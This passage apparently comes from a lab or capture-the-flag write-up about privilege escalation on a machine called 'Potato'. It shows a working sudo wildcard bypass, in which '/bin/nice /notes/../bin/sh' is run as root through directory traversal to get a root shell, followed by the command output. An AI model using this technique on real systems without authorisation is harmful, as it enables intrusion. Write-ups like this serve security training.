Potato_Privilege_Escalation

sudo nice

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The webadmin user has sudo privileges to execute the /bin/nice /notes/* command as anyone. Additionally, it has been identified that nice could be leveraged for code execution. Given that there is a wildcard bit in the command, I could easily bypass it with the directory traversal technique

webadmin@serv:~$ sudo -u root /bin/nice /notes/../bin/sh
# whoami
root
# hostname
serv
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:ea:70 brd ff:ff:ff:ff:ff:ff
    inet 192.168.120.101/24 brd 192.168.120.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise